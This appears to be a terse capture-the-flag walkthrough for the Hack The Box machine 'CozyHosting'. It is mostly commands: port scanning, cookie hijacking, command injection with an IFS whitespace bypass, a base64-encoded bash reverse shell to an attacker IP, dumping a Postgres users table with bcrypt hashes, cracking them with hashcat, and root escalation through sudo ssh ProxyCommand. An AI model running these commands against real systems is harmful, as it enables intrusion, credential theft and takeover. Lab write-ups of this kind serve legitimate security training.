CozyHosting - Hack The Box
Reconnaissance
- Nmap
nmap -sS --open -p- --min-rate 5000 -vvv -n -Pn 10.10.11.230
- Add domain to local DNS
echo "10.10.11.230 cozyhosting.htb" >> /etc/hosts
- Whatweb
whatweb http://cozyhosting.htb
- Dirsearch
dirsearch -u http://cozyhosting.htb
Exploitation
- Cookie Hijaking
- RCE
We can see the output command in the error
tcpdump -i tun0 icmp
We can bypass whitespaces with IFS variable
- Send reverse shell
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.2/9000 0>&1'" | base64
Post-exploitation
- Inspect .jar file
python3 -m http.server 8000
curl -o cozy.jar http://10.10.11.230:8000/cloudhosting-0.0.1.jar
- Connect to Postgresql Database
jd-gui
psql -h localhost -U postgres -d cozyhosting
select * from users;
$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6e
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
- Pivoting
su josh
- Sudoers
sudo -l
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x